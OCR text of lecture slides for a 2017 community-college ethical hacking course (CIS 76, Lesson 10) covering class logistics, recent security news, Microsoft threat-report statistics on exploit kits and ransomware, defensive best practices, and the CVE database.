CIS 76 - Lesson 10

Rich's lesson module checklist

Slides and lab posted
WB converted from PowerPoint
Print out agenda slide and annotate page numbers

Flash cards

Properties

Page numbers

1st minute quiz

Web Calendar summary
Web book pages
Commands

Real test enabled on Canvas
Test accommodations made
Lab 8 tested and published

Backup slides, whiteboard slides, CCC info, handouts on flash drive
Spare 9v battery for mic
Key card for classroom door
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Update CCC Confer and 3C Media portals

Last updated 11/7/2017
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Evading {Vetwork TCP/IP
Devices
Network and
Cryptograph
YESRSIRE Computer Attacks
Hacking Wireless CIS 76 Footprinting and
Networks . i Social Engineering
Ethical Hacking
Hacking
Web Servers Port Scanning
Embedded Operating .
Systems Enumeration
Desktop and Server Scripting and

Vulnerabilities Programming

Student Learner Outcomes

1.Defend a computer and a LAN against a variety of different types of
security attacks using a number of hands-on techniques.

2.Defend a computer and a LAN against a variety of different types of 9
security attacks using a number of hands-on techniques.
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Introductions and Credits

Rich Simms

« HP Alumnus.

« Started teaching in 2008 when Jim Griffin went on
sabbatical.

« Rich’s site: http://simms-teach.com

And thanks to:

Steven Bolt at for his WASTC EH training.

Kevin Vaccaro for his CSSIA EH training and Netlab+ pods.

EC-Council for their online self-paced CEH v9 course.

Sam Bowne for his WASTC seminars, textbook recommendation and fantastic
EH website (https://samsclass.info/).

Lisa Bock for her great lynda.com EH course.

John Govsky for many teaching best practices: e.g. the First Minute quizzes,
the online forum, and the point grading system (http://teacherjohn.com/).
Google for everything else!



CIS 76 - Lesson 10 R ' I |HW

Student checklist for attending class
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1. Browse to:
http://simms-teach.com

2. Click the CIS 76 link.

3. Click the Calendar link.

4. Locate today’s lesson.

5. Find the Presentation slides for

€33 90:(Eal 201 4) Caderidine the lesson and download for

Gt Genten | Calendar easier viewing.

T el e Tany 0. Click the Enter virtual classroom

e e K e link to join CCC Confer.

s pearetand Bows 1 coures ) sor it

i e of g, gt 7. Log into Opus-II with Putty or ssh
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| Presentation slldes (download) |

Note: Blackboard Collaborate Launcher only
St .. needs to be installed once. It has already
i T e S I ey ' been downloaded and installed on the
classroom PC'’s.
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@ Blackboard Co x ¥ Bl Google X)) & Rich's Cabrillo x
S [ simms-teach.com,

g e oo et ANII™ R
Rich's Cabg 1 ~——a v, il The CIS 90 System Playground
CIS 90 Calend] @ CCC Confer AEH SIMMS VIRTUAL CLASSROOM ] a X |

File Edit View Tools Window Help
v AUDI & VIDEO

CIS 90 (Spring

Course Home Gy

Bergi Sems. 248P4 *
Where s a good place to get

a used version of the

optonal textbooks?

Rich-Serems 248PM
Amazon has some good
prices night now

cis90lesso....pdf :

O One or more login
Q CIS 76 website Calendar page sessions to Opus




1) Instructor gives you sharing privileges.

() CCC Confer — RICH SIMMS VIRTUAL CLASSROOM
File Edit View Tools Window Help “Hevated priviege TN =)

* AUDIO & VIDEO

When User Account Control (UAC) is enabled on Vista, Application
Sharing in Blackboard Collaborate may be hosted with either standard or

elevated privileges. Elevated privileges are required to share

applications that use elevated privileges.
= pg Select your desktop or an open application you would like to share.

Start 5 h aring Elevated privileges are acquired via Tools > Application Sharing . .
> Request Elevated Privileges. They can be relinquished via ns
Tools > Application Sharing > Yield Elevated Privileges (returning _
you to standard privileges). If you are hosting an application ol 51212 desktop

sharing session with standard privileges and you (or a person
remotely controlling your desktop or application) perform an

2 ) C | i C k ove rl a p p i n g recta n g | eS action that requires elevated privileges, Vista will prompt you

for consent via a UAC consent dialog. This will cause the

W' Microsoft Word (winword.exe) 'Virtual dlassroom (locked).doc
CCC Confer (javaw.exe) 'CCC Confer — RICH SIMMS VIRTUAL
ticky Note

P Microsoft PowerPoint (powerpnt.exe) 'cis90lesson01.ppbx - Mic

i S p rese nt th e n Cl i C k it a s We | I . If you are hosting an application sharing session with elevated f_ C:\Program Files (x86)\putty.exe 'simbend0@oslab:~"

privileges and you perform an action that requires elevated
privileges, Vista will not prompt you for consent. Instead, the
action automatically will be either denied (if you are logged on
as a standard user) or allowed (if you are logged on as an
administrator).

application sharing session to terminate. Also, without elevated

icon. If white "Start Sharing" text

time than sharing the desktop (all of it or a region).

D Never show this dialog again

3) Click OK button. ‘ | :
Cancel l Share I

4) Select "Share desktop"
and click Share button.
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*— | Rich's CCC Confer checklist - setup cccCe) Confer

[ ] Preload White Board

{i) CCC Confer - 0 - RICH SIMMS - -

I File Edit View Tools Window Help
E H L]
[ﬂ [ Load Content ] | Record | iss ~ AUDIO & VIDEO -

ust Microphane Level Up

. Adjust Microphone Level Down &
[ ] Connect session to Teleconference e e g
Talk video Adjust Speaker Level Down <]
|
MAIN ROOM (2] “elsume® 'g"“'::‘?““ ( S
. - I Moderpef &l
Session now connected ® Rich Simms i
to teleconference Moderator (You) I S ake Vi ow Moderator Focus E
—\> % TElEEDI'IfEFEI'IEE '\IJ P | - &%) | Make Video Follow Speaker &
hl | = Yl Send Camera Snapshot To Whiteboard
Detach Panel 5
[ ] Is recording on? =
~ AUDIO & VIDEO ML
9

(i) | Loadcontent | [ Ramrding@k; o

Red dot means recording_)
little Microphone

[ ] Use teleconferencing, not mic icon and the

| |
- | Teleconferencing ...
Should be grayed out * e .. lo Q) message displayed

Should change
from phone
handset icon to
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File Eqn View Tools Window Help

w AUDIO & VIDEO D % -
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( Tak Lo @ ]

w PARTICIPANTS -2
N RO
BRRE

MAIN ROOM (3 SRRQAHHD
O Rich Simms B
£ Teleconference > 4 -
o S -

- Teleconference joined the Main Room. (
6:51 AM ) -

TEY

w | = [kl = C' [J simms-teach.com/d
wHE 2 as 8- it IR
»
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Part 1 - Flashc (1 point each)
[Q1] What com her users logged in to the computer?

90 o
Al

e [A1]
hname
/ {Q2] What environment variable is used by the shell to determine which directories to
search when locating a command?
etc sbin (A2] \
&P simbend0@oslab:~

[l
=1,

3
H

# Current directory

(———)'sourca

What command copies th

egin as: simben90
sixpen90@oslab.cabrillo.edu's password:

(

1 ¢ & %
O\ [E @ voemer
s = [ s viab
Welcomt B [ [CIs 192 Alarms | Pef
Serving Cab: B [ Podo1

Terminal type? [ vsphere CIient ‘Stalusrﬂ
Terminal type is i o

& poi-frod
/home/cis90/sinb putty £ poriogoas =

@

L
sl

Recent Tasks Name, Targetor Status contains: » [ Clear %
Mame: | Target | Status | Details | Tnitiated by
4 |

1 Tasks @ Marms |

# @ LlwMHle]s]e e

101072012 |

[ ] layout and share apps O]
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ccc(E:)Confer

-
(i) CCC Confer- 0 - RICH SIMMS
File Edit View [Tcrcrls] Window Help

- AUDIO & Application Sharing
Audic ¢
Breakout Rooms 4 Mew Page Dekete Page

Chat 4
Graphing Calculator *

In-5ession Invite L4

Interaction 4

[ ] Video (webcam)

Moderator 4

L | Palling >
[ Tk | Profile b [ ] Make Video Follow Moderator Focus
Recorder ¢
~ PARTICIPA Session Plan 4
Rich Sin Telephony »
e Tirmer r
E Video ' Camera Settings...
_ Whiteboard ! Maximum Simultanecus Cameras...
HA R:;:;:“m R H;j\; ¥ Make Video Follow Moderator Focus
Maderztor (You) Make Video Follow Speaker
Send Camera Snapshot To Whiteboard

17—
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Image Mate

Elmo rotated down to view side table

LIVE image - Image Mate - (B

e & NI P
S—— Rotate
image
button

Run and share the Image Mate
program just as you would any other
app with CCC Confer

Settings \E‘.
[ o o] The "rotate image"
button is necessary
if you use both the
- | side table and the
%Tact\magequahw o o Whlte board-
S sme ow Quite interesting
| e that they consider
S | you to be an
= n mn ;
\,_., expert" in order to
use this button!

Elmo rotated up to view white board

LIVE image - Image Mate -] (B3] [
Tor CH @ W=
e & I O E el Q < &
Rotate
image
button

=L_M0O

10
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Universal Fix for CCC Confer:
1) Shrink (500 MB) and delete Java cache

2) Uninstall and reinstall latest Java runtime
3) http://www.cccconfer.org/support/technicalSupport.aspx

Control Panel (small icons)

General Tab > Settings...

~
el

-
£ Java Control Panel

500MB cache size

N, N h
o
3 L4
-
’

Rich's CCC Confer checklist - universal fixes

Delete these

-
Temporary Files Settings

B

r
Delete Files and Applications

General | Java | Security | Advanced

About

View version information about Java Control Panel.

Network Settings i

Network settings are used when making Internet connections. By default, Java will
use the network settings in your web browser. Only advanced users should modify

gs.
Network Settings...

Files you use in Java applications are stored in a special folder for quick executon
|| later. Only advanced users should delete files or modfy these settings

these sef

|| Temporary Internet Fies

Kéep femporary s on my computers

Location

Select the location where temporary fies are kept:

s\Rich Data\LocalLow\suniJavaiD tycache Change...
Il Disk Space

Select the compression level for JAR files: None -
fl Set the amount of disk space for storing temporary files:
| U 500 | MB
I

Delete Fies...

] [ Restore Defaults ]

Free Java Download
Download Java for your desktop computer now!

Version 7 Update 13

Free Java Download
Whalls Jaa? » Dolhae Jaia? » Nesqheig?

A
' Delete the following files?
Ly

Cached Applications and Applets
[ Installed Applications and Applets

11
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Start

12
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Sound Check

Students that dial-in should mute their line
using *6 to prevent unintended noises
distracting the web conference.

Instructor can use *96 to mute all student lines.

Volume

*4 - jncrease conference volume.
*7 - decrease conference volume.
*5 - increase your voice volume.

*8 - decrease your voice volume.

13
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AP RITY: QRN Ak |
Instructor: Rich Simms
Dial-in: 888-886-3951
Passcode: 136690

- % N e N
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’.{ ﬁj ) TP N et . - .

Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit
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First Minute Quiz

Please answer these questions in the order
shown:

No Quiz today ... test instead

For credit email answers to:
risimms@cabrillo.edu

within the first few minutes of class .
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Desktop and Server OS Vulnerabilities

Objectives

» Learn how to browse, search and get
information on specific vulnerabilities
» Learn how to find exploits for specific

vulnerabilities

Questions

In the news

Best practices

CVE Database

MS Security Bulletins
CVSS v3

CVSS v2

CVS Details and Metasploit
CVE-2008-0038

Windows OS vulnerabilities
ADS (Alternate Data Streams)
Assignment

Wrap up

16
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Admonition

17

Shared from cis76-newModules.pptx
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Unauthorized hacking is a crime.

The hacking methods and activities
learned in this course can result in prison
terms, large fines and lawsuits if used in

an unethical manner. They may only be
used in a lawful manner on equipment you
owhn or where you have explicit permission
from the owner.

Students that engage in any unethical,
unauthorized or illegal hacking may be
dropped from the course and will receive
no legal protection or help from the

instructor or the college. 18
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Questions

19
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Questions? @5«%22“@@%@@

(6} A2 @@©
. SRGC 6
Lesson material? @@@@g@@ﬂ
) {%@@u@@ﬁ@

Labs? Tests?

Who questions much, shall learn
much, and retain much.
- Francis Bacon

How this course works?

If you don't ask, you don't get.
- Mahatma Gandhi

_ fihff —EfERE, AEILERF, WAE—ERRERAE—E
Chinese | {2@5k:&E,

Proverb He who asks a question is a fool for five minutes; he who does not ask a question
remains a fool forever.

20
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Recent news

Google Patches 'High Severity' browser bug
by Tom Spring October 27, 2017

https:/ /threatpost.com/qgoogqgle-patches-
high-severity-browser-bug/128661 threat

"UPDATE Google is urging users to update
their Chrome desktop browsers to avoid
security issues related to a high-severity stack-
based buffer overflow vulnerability. Google
issued the alert Thursday and said an update
for most browsers has been released."

"The bug was reported by researcher Yu Zhou, of Ant-Financial Light-Year Security
Lab on Sept. 30. He was awarded $3,000 for the discovery through Google's bug

bounty program.”
23


https://threatpost.com/google-patches-high-severity-browser-bug/128661/
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Recent news

Bad Rabbit Ransomware Uses Leaked 'EternalRomance’ NSA

Exploit to Spread
by Mohit Kumar October 26, 2017

https://thehackernews.com/2017/10/bad- <<(((.The HaCker News

rabbit-ransomware.html Security in a serious way

"A new widespread ransomware worm,
known as "Bad Rabbit," that hit over 200
major organisations, primarily in Russia
and Ukraine this week leverages a stolen
NSA exploit released by the Shadow
Brokers this April to spread across victims
networks."

"EternalRomance is a remote code execution exploit that takes advantage of a flaw
(CVE-2017-0145) in Microsoft's Windows Server Message Block (SMB), a protocol
for transferring data between connected Windows computers, to bypass security over
file-sharing connections, thereby enabling remote code execution on Windows clients

and servers." 24


https://thehackernews.com/2017/10/bad-rabbit-ransomware.html
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Recent news

Hacker Hijacks CoinHive's DNS to Mine Cryptocurrency Using

Thousands of Websites
by Mohit Kumar October 24, 2017

https://thehackernews.com/2017/10/coin ((@The HaCker News
hive-cryptocurrency-miner.html Security in a serious way

"Reportedly an unknown hacker managed
to hijack Coinhive's CloudFlare account
that allowed him/her to modify its DNS
servers and replace Coinhive's official
JavaScript code embedded into thousands
of websites with a malicious version."

"As a result, thousands of sites using coinhive script were tricked for at least six hours
into loading a modified code that mined Monero cryptocurrency for the hacker rather
than the actual site owners."

25


https://thehackernews.com/2017/10/coinhive-cryptocurrency-miner.html
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Recent news

When Scanners Attack
Posted by Martin Zinaich on July 30, 2017

(© “The Hacker News’

Security in a serious way

"Recently | was tracking down WannaCry
attack traffic coming loud and strong
from an IP address that | soon associated
to an HP Scanner. Yes, a scanner ... but a
scanner that utilizes Windows POS. | now
have to worry about large format
scanners. Tomorrow it will be light bulbs,
door locks and the candy machine."

26


http://itsecurity.co.uk/2017/07/when-scanners-attack/
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Best
Practices
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How to Protect Yourself from Ransomware Attacks?

"In order to protect yourself from Bad Rabbit, users are advised to disable WMI
service to prevent the malware from spreading over your network."

"Also, make sure to update your systems regularly and keep a good and
effective anti-virus security suite on your system."

"Since most ransomware spread through phishing emails, malicious adverts on
websites, and third-party apps and programs, you should always exercise
caution before falling for any of these."

"Most importantly, to always have a tight grip on your valuable data, keep a
good backup routine in place that makes and saves copies of your files to an
external storage device that isn't always connected to your PC."

Mohit Kumar

Entrepreneur, Hacker, Speaker, Founder and CEO — The Hacker News and The Hackers Conference. 40
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E:'& Services

File Action View Help

(o] &)

&= |[EE o= HmE ¢ e nwp

fﬂ services (Local) Marne Description Status Startup Typ =
%Windnws Irnage Acquisition (WIA) Provides im... Manual
S5 Windows Installer Adds, medi.., Manual
Q Windows Management Instrumentation Provides a c... Automatic
£k Windows Media Center Receiver Service h‘ Windows M... Manual
%Windnws Media Center Scheduler Service Starts and st... Manual
Ck Windows Media Player Network Sharing Service  Shares Win... Manual
%Windnws Medules Installer Enables inst... Manual |:|
54 Windows Presentation Foundation Font Cache .. Optimizes p.. Manual
L5 Windows Remote Management (WS-Managem... Windows R... Manual -
4 | i | y
Extended ;i'\Stanu:Iaru:ljr

WMI (Windows Management Instrumentation) Service

41
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Microsoft Security Assessment Report

*) Security_Intelligence_Report_Volume_22 (1).pdf - Adobe Acrobat Reader DC - m] X
File Edit View Window Help

Home Tools Security_Intelligenc... Security_Intelligenc... % @ Sign In

® 8 X Q ©® 1./m R 07% v e

Microsoft Security
Intelligence Report

Volume 22 | January through March, 2017

m Microsoft

https://www.microsoft.com/security/sir/default.aspx 42


https://www.microsoft.com/security/sir/default.aspx
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Microsoft Security Assessment Report
Attacks

Cloud service weaponization

Cloud services such as Microsoft Azure are perennial targets for attackers
secking to compromise and weaponize virtual machines and other services. In a
cloud weaponization threat scenario, an attacker establishes a foothold within a
cloud infrastructure by compromising and taking control of one or more virtual
machines. The attacker can then use these virtual machines to launch attacks,
including brute force attacks against other virtual machines, spam campaigns
that can be used for email phishing attacks, reconnaissance such as port
scanning to identify new attack targets, and other malicious activities.

43
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Microsoft Security Assessment Report
Attacks

Compromised accounts

DEFINITION:
Attackers break into the cloud-based account simply by using the stolen
sign-in credentials of a user

ANALYSIS:
A large majority of these compromises are the result of weak, guessable
passwords and poor password management, followed by targeted phishing

attacks and breaches of third-party services.



http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf
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Microsoft Security Assessment Report
Attacks

OBSERVED ACCOUNTS UNDER ATTACK DURING THE FIRST THREE MONTHS OF 2016 AND 2017

® 2016 Cloud-based user
account attacks have

® 2017
increased 300% from
last year, showing
that attackers
have found a new
favorite target.

JAN FEB MAR

http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-
B638-2AC564D210F2/Security Intelligence Report Infographic EN US.pdf
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Microsoft Security Assessment Report
Attacks

Figure 4. Incoming attacks detected by Azure Security Center in 1Q17, by country/region of origin

i
- ?>.:

e
3
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Percent of incaming attacks, 1Q17 & 7 =%
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. 1% 1 "‘/'H S
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B o 1
].071% t Microsoft Security Intelligence Report . 4
http://www.microsoft.com/sir C— i L P
Otod il g
2 e
Insufficient Data F=a
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Microsoft Security Assessment Report

Attacks

Figure 5. Outgoing communication to malicious IP addresses detected by Azure Security Center in 1Q17, by address location

Percent of outgoing attacks, 1Q17

. 1% 10 0%
. 0.1%t01%

} ‘ 0.07% to 0.1%

> 010 0.00%

| Insufficient Data
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—"' ! \ /
k . ,vj '\: j Iﬁmmﬁ&mrkyyullgmceifpm
| o o http://www.microsoft.comysir 8

WWW.Mmicrosoft.com/security/sir/default.aspx
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Microsoft Security Assessment Report
Attacks

Figure 3. Qutbound attacks detected by Azure Security Center, 1Q172

Port scanning/port
sweeping

\3.?%
\ SSH brute force

Other 17%
1.6%

Communication

with malicious IP
51.0%

48
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Microsoft Security Assessment Report
Drive-by-Downloads

Drive-by download sites

DEFINITION:
A website that hosts malware in its code and can infect a vulnerable

computer simply by a web visit

ANALYSIS:

Attackers sneak malicious code into legitimate but poorly secured websites.
Machines with vulnerable browsers can become infected by malware simply
by visiting the site. Bing search constantly monitors sites for malicious
elements or behavior, and displays prominent warnings before redirecting

to any suspicious site.

49

B638 2AC564D210F2 Securlt Intelligence Report Infogra h|c EN US.pdf
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Microsoft Security Assessment Report
Drive-by-Downloads

Figure 6. One example of a drive-by download attack

1. User with vulnerable 4. If the exploit succeeds,

AT ItEE Vi 2. IFrame embedded in 3. The page redirects to enahiring Houisaishm
P page secretly loads another page containing
compromised web page . another server to the
another page an exploit

with invisible IFrame victim’s computer

>

> >

!

Compromised or Redirector Exploit server Malware server

malicious web server /

https://www.microsoft.com/security/sir/default.aspx 50
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Taiwan and Iran
have the highest
concentration

of drive-by
download pages.
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Microsoft Security Assessment Report
Drive-by-Downloads

DRIVE-BY DOWMNLOAD PAGES PER
1.000 URLS, APRIL 2017

® 05+ 0.01 to 0.05
® 0.1t 05 =0 to 0.01

® 0.05 to 0.1 Insufficient data

WORLDWIDE: 0.17

51
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Microsoft Security Assessment Report
Drive-by-Downloads

Figure 9. Monthly trends for countries/regions with the highest concentration of drive-by download pages in March 2017
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Figure 10. Monthly trends for countries/regions with the lowest concentration of drive-by download pages in March 2017
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Microsoft Security Assessment Report
Malware Encounters

Malicious and unwanted
software

Encounter rate

Encounter rate is the percentage of computers running Microsoft real-time
security products that report a malware encounter.? For example, the encounter
rate for the malware family Win32/Banload in Brazil in March 2017 was 0.4
percent. This data means that, of the computers in Brazil that were running
Microsoft real-time security software in March 2017, 0.4 percent reported
encountering the Banload family, and 99.6 percent did not. Encountering a
threat does not mean the computer has been infected. Only computers whose
users have opted in to provide data to Microsoft are considered when

calculating encounter rates.*
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Microsoft Security Assessment Report
Malware Encounters

Figure 12. Encounter rates by country/region, March 2017

Percent of computers
downloading malware, March 2017

Microsoft Security Intelfigence Report = 4
hittp://www.microsoft com/sir L= i - 3
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Microsoft Security Assessment Report
Malware Encounters

Figure 13. Encounter rates for significant malicious software categories, January—March 2017
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Microsoft Security Assessment Report
Malware Encounters

Figure 14. Encounter rates for unwanted software categories, January—March 2017
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Microsoft Security Assessment Report
Exploit Kits

Exploit kits

Exploit kits are collections of exploits bundled together and sold as commercial
software or as a service. Prospective attackers buy or rent exploit kits on
malicious hacker forums and through other illegitimate outlets. A typical kit
comprises a collection of webpages that contain exploits for several
vulnerabilities in popular web browsers and browser add-ons. When the
attacker installs the kit on a malicious or compromised web server, visitors who
don't have the appropriate security updates installed are at risk of having their
computers compromised through drive-by download attacks. (See page 8 for
more information about drive-by downloads.)
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Microsoft Security Assessment Report
Exploit Kits

Figure 19. How a typical exploit kit works

The exploit page finds out what your
computer is vulnerable to...

The webpage contacts an
exploit landing page

..and chooses exploits that will
You visit a specifically infect your computer

compromised webpage l
| |

A4

Your computer AN i i .
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Eternal Blue

Exploit Kits

Notable exploits in 1Q17

Many of the more dangerous exploits are used in targeted attacks before
appearing in the wild in larger volumes. A targeted attack is an attack against
the computers or networks of a specific group of companies or individuals. This
type of attack usually attempts to gain access to the computer or network
before trying to steal information or disrupt the infected computers. Some,
though not all, of these exploits are later adopted by exploit kits and used in
widespread attacks. Figure 21 lists some of the exploits Microsoft has observed
being used in targeted attacks in 2017.

Figure 21. Notable exploits disclosed in early 2017

. . . .| Usedin Widespread
Exploit type Affecting Security Bulletin

Internet Explorer Memory
CVE-2017-0149  Corruption Vulnerability RCE  Internet Explorer MS17-006 NO
(VBSCRIPT)

Windows SMB Remote
CVE-2017-0144  Code Execution RCE  Microsoft Windows MS17-010 YES
Vulnerability

CVE2017.0005 Vindows GDIElevationof oy Windows  MST7-013 NO
Privilege Vulnerability

Microsoft Security Assessment Report
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Microsoft Security Assessment Report
Ransomware

Ransomware

Ransomware is a type of malware that restricts access to data by encrypting files
or locking computer screens. It then attempts to extort money from victims by
asking for “ransom” in exchange for access to the data. Early ransomware
families displayed what looked like official warnings from well-known law
enforcement agencies, accusing the computer user of committing a computer-
related crime and demanding that the user pay a fine via electronic money
transfer or a virtual currency to regain control of the computer. In recent years,
many of the more commonly encountered ransomware families have dropped
this pretense; they simply encrypt important files on the computer and offer to
sell the user the private key to decrypt them. Attackers often demand payment
in Bitcoin, a popular virtual currency, or through other difficult-to-trace means.

https://www.microsoft.com/security/sir/default.aspx 60
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Microsoft Security Assessment Report

Ransomware

Figure 24. Screen from Win32/Spora

All your work and personal files were encrypted

To restore data, obtaining guarantees and support,
follow the instructions in your account.

Site do not support Internet Explorer!
Please, download Mozilla Firefox or Google Chrome

SPORA RANSOMWARE

Lo womnt

e T

Authorization

Wnat happened?

our fites

fied using RBA-1024 algorithm. Revarsa recovery process is
quires your unigus key. ltisimpogsible to find it somewhare or

Personal Area hitps: /ispora biz »
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Microsoft Security Assessment Report
Ransomware

Figure 22. Encounter rates for ransomware families by country/region in March 2017
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e Locations with the highest ransomware encounter rates include the Czech
Republic (0.17 percent), Korea (0.15 percent), and Italy (0.14 percent).

e Locations with the lowest ransomware encounter rates include Japan (0.012
percent in March 2017), China (0.014 percent), and the United States (0.02
percent).
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Microsoft Security Assessment Report
Ransomware

Ransomware

RANSOMWARE ENCOUNTER RATES, Mmoo
MARCH 2017 AISprog

0.16%+ targeted Europe with
0.12% to 0.16% Czech Republic,
0.08% to 0.12% Italy, Hungary,

e Spain, Romania,
® >0 to 0.04% and Croatia being

with the highest
encounter rates

http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-
B638-2AC564D210F2/Security Intelligence Report Infographic EN US.pdf
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Takeaways and checklist

The threats and risks of cyberattacks are constantly changing and growing. However, there are some practical

steps you can take to minimize your exposure:

Reduce risk of credential compromise Enforce security policies that control

by educating users on why they should access to sensitive data and limit corporate
avoid simple passwords, enforcing network access to appropriate users, locations,
multi-factor authentication and applying devices, and operating systems (OS).
alternative authentication methods

(e.g., gesture or PIN).

e

Do not work in public Wi-Fi hotspots Regularly update your OS and other
where attackers could eavesdrop on your software to ensure the latest patches
communications, capture logins and are installed.

passwords, and access your personal data.

http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-
B638-2AC564D210F2/Security Intelligence Report Infographic EN US.pdf
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Housekeeping

No labs due today!
Lab 8 due next week.

Practice test will shut down shortly before the real test
starts.

Test 2 during the last hour of class today

« Canvas - timed test - 60 minutes

 OPEN book, notes, computer

« CLOSED mouths (work solo, don't ask for or give
assistance to others)

« Working students may take the test later in the day but it
must be submitted by 11:59PM

First draft of Final Project on Calendar page (60 points + 30
extra credit)

More extra credit labs posted (see Lesson 8) 66
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The final project specifications
are now available.

The final project is due on the
Lesson 15 day.

om/docs/cis76/cis76final-
project.pdf
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Heads up on Final Exam

Test #3 (final exam) is TUESDAY Dec 12 4-6:50pM

Test #3 (the final exam)

Time Extra credit
« Tuesday 4:00PM - 6:50PM in 5 posts labs and
Room 828 Lab X1 :
. - _ \ab X0 final posts
ue Malfrlfls } Il:ag ﬁ due by
+ Test (canvas 2
e 11:59PM

CCC Confer

» Enter virtual classroom
» Archives Confer or 3CMedia

All students will take the test at the same time. The test must be
completed by 6:50PM,

Working and long distance students can take the test online via
CCC Confer and Canvas.

Working students will need to plan ahead to arrange time off from
work for the test.

Test #3 is mandatory (even if you have all the points you want) 68
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FALL 2017 FINAL EXAMINATIONS SCHEDULE
DECEMBER 11 TO DECEMBER 16

DAYTIME FINAL SCHEDULE

Daytime Classes: All times in bold refer to the beginning times of classes. MW/Daily means Monday
alone, Wednesday alone, Monday and Wednesday or any 3 or more days in any combination. TTH
means Tuesday alone, Thursday alone, or Tuesday and Thursday. Classes meeting other combinations
of days and/or hours not listed must have a final schedule approved by the Division Dean.

STARTING CLASS TIME / DAY(S)

Classes starting between:
6:30 am and 8:55 am, MW/ Daily

EXAM HOUR

7:00 am-9:50 am

EXAM DATE

Monday, December 11

9:00 am and 10:15 am, MW/Daily

7:00 am-9:50 am

Wednesday, December 13

10:20 am and 11:35 am, MW/ Daily

10:00 am-12:50 pm

Monday, December 11

11:40 am and 12:55 pm, MW/Daily

10:00 am-12:50 pm

Wednesday, December 13

1:00 pm and 2:15 pm, MW/Daily

1:00 pm-3:50 pm

Monday, December 11

2:20 pm and 3:35 pm, MW /Daily

1:00 pm-3:50 pm

Wednesday, December 13

3:40 pm and 5:30 pm, MW /Daily

4:00 pm-6:50 pm

Monday, December 11

6:30 am and 8:55 am, TTh

7:00 am-9:50 am

Tuesday, December 12

9:00 am and 10:15 am, TTh

7:00 am-9:50 am

Thursday, December 14

10:20 am and 11:35 am, TTh

10:00 am-12:50 pm

Tuesday, December 12

11:40 am and 12:55 pm, TTH

10:00 am-12:50 pm

Thursday, December 14

1:00 pm and 2:15 pm, TTh

1:00 pm-3:50 pm

Tuesday, December 12

1:00 pm-3:50 pm

2:20 pm and 3:35 pm, TTh
I 3:40 pm and 5:30 pm, TTh

4:00 pm-6:50 pm

Thursday, December 14
Tuesday, December 12 I

Friday am

9:00 am-11:50 am

Friday, December 15

Friday pm

1:00 pm-3:50 pm

Friday, December 15

Saturday am

9:00 am-11:50 am

Saturday, December 16

Saturday pm

1:00 pm-3:50 pm

Saturday, December 16

CIs 76 Introduction to Cybersecurity: Ethical
Hacking

Introduces the various methadologies for attacking a network. Covers netwark attack

methodologies with the emphasis on student use of network attack techniques and

toals, and appropriate defenses and countermeasures. Prerequisite: CIS 75.

Transfer Credit: Transfers to CSU

Section Days Times Units Instructor Room
98163 T 5:30PM-8:35P 3.00 R.Simms oL
Section 98163 is an ONLINE course. Meets weekly throughout the semester
anling by remote technology with an additional 50 min online lab per week.
For details, see instructor's web page at go.cabrillo_edwionling.

98164 T 5:30PM-8:35PM  3.00 R.Simms B28
& A AIT. R.Simms oL
Section 98164 is a Hybrid OMLINE course. Meets weekly throughout the
semester at the scheduled times with an additional 50 min onling lab per week.
For details, see instructor's web page at go.cabvillo.edwionline.
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Where to find your grades
Send me your survey to get your LOR code name.

The CIS 76 website Grades page Or check on Opus
http://simms-teach.com/cis76grades.php

checkgrades codename
(where codename is your LOR codename)

ARl

e B8 5, 19 G

Written by Jesse Warren a past CIS 90 Alumnus

Update your path in .bash_profile to run checkgrades
PATH=$PATH:/home/cis76/bin

Percentage | Total Points |Letter Grade|Pass/No Pass Points that could have been earned:
90% or higher| 504 or higher A Pass 7 quizzes: 21 points
80% to 89.9%| 448 to 503 B Pass 7 labs: 210 points
70% to 79.9%| 392 to 447 C Pass 1 test: 30 points
60% to 69.9%| 336 to 391 D No pass 2 forum quarters: 40 points
0% to 59.9% | 0 to 335 F No pass Total: 301 points

At the end of the term I'll add up all
your points and assign you a grade
using this table 70
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= Apps Yahoo Cabrillo College Health Network €IS 76 links Lab Development Home Music Training [Y Expand All » Other baskmarks
X

Bring your imagination to life

Windows10
with the Creators Update ll indows

oTT

Announcements

SQL Server 2017 is here, What's new? 2017-10-17

[ryr— Per— B Get Azure
Access Project Visio
] Office. ‘"E

To get to this page, go to http://simms-teach.com/resources and
click on the appropriate link in the Tools and Software section

i SN B
:
~

» Microsoft software for
students registered in a
CIS or CS class at
Cabrillo

« Available after
registration is final (two
weeks after first class)

« Click "All" on left panel
to make sure you don't
miss anything.

« Azure is available to
students as well.
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« VMware software for
students registered in

a CIS or CS class at
Cabrillo

« Available after
registration is final

(two weeks after first
class)

 Sphere 6.5 Enterprise
now available

To get to this page, go to http://simms-teach.com/resources and

click on the appropriate link in the Tools and Software section
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CVE Database

&k CVE - CVE List Master Co X

&« > C A ht'.ps_-'.cve‘m\tre.org.':-;e::-;e.h:n‘\| a0

The Standard for Information Security Vulnerability Names

Home | CVE IDs | About CVE | Compatible Products & More | Community | News | Site Search

TOTAL CVE IDs: 79058

%% - Common Vulnerabilities and Exposures
\ ffo

Section Menu CVE List Master Copy
CVE® is a publicly available and free to use list or dictionary of standardized identifiers for common computer
Coverage Goals vulnerabilities and exposures. You may search or download CVE, copy it, redistribute it, reference it, and
Tl (G ERS analyze it, provided you do not modify CVE itself as per our Terms of Use.
Updates & Feeds IMPORTANT: CVE IDs have a new numbering format. Learn more,
Downloads .
) ; Download CVE View CVE
Search CVE List
Search Tips . . . o
View Enfire CUE List (himl Allows you to download the entire CVE List in Provides an HTML-formatted listing of the current
{ew Entre ist (htmi) various formats. version of all CVE Identifiers on the CVE List.
DS HICHEL S Eh Choose Format View Entries
CVE ID Scoring Calculator
CVE Numbering Authorities
(CNAs) Search Master Copy of CVE
Requester Responsibilities You can search for a CVE number if known. To search by keyword, use a specific term or multiple keywords
Update a CVE ID separated by a space. Your results will be the relevant CVE Identifiers.
By CVE Identifier By Keyword(s)
About CVE IDs ;
windows 10
Terminology
Editorial Policies | Submit |

Terms of Use

ALSO SEE



https://cve.mitre.org/cve/cve.html

8 CVE - Search Results X

&«

C | & https;//cvemitre.org/cgi-b

‘cvekey.cgitkey

j= Common Vulnerabilities and Exposures

